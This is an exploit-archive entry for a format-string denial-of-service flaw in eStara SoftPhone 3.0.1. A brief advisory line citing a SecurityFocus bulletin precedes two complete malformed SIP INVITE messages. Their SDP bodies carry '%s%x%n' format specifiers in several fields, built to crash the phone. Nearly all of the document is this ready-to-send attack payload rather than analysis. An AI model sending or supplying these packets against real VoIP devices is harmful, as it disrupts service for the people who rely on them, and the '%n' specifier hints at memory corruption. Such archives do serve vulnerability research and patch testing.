eStara SoftPhone 3.0.1 - SIP SDP Message Handling Format String DoS

source: http://www.securityfocus.com/bid/16629/info eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash. INVITE sip:a@127.0.0.1 SIP/2.0 Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37 From: 3013 <sip:a@127.0.0.1>;tag=3013 To: zwell <sip:a@127.0.0.1> Call-ID: 1295@172.16.3.6 CSeq: 21086 INVITE Content-Type: application/sdp Content-Length: 134 v=0 o=3013 3013 3013 %s%x%n IP4 172.16.3.6 s=Session SDP c=IN IP4 172.16.3.6 t=0 0 m=audio 9876 RTP/AVP 0 a=rtpmap:0 PCMU/8000 INVITE sip:a@127.0.0.1 SIP/2.0 Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37 From: 3013 <sip:a@127.0.0.1>;tag=3013 To: zwell <sip:a@127.0.0.1> Call-ID: 1295@172.16.3.6 CSeq: 21086 INVITE Content-Type: application/sdp Content-Length: 134 %s=0 o=4085 4085 4085 IN IP4 172.16.3.6 s=Session SDP c=IN IP4 172.16.3.6 t=0 0 m=audio 9876 %s%x%n 0 a=rtpmap:0 PCMU/8000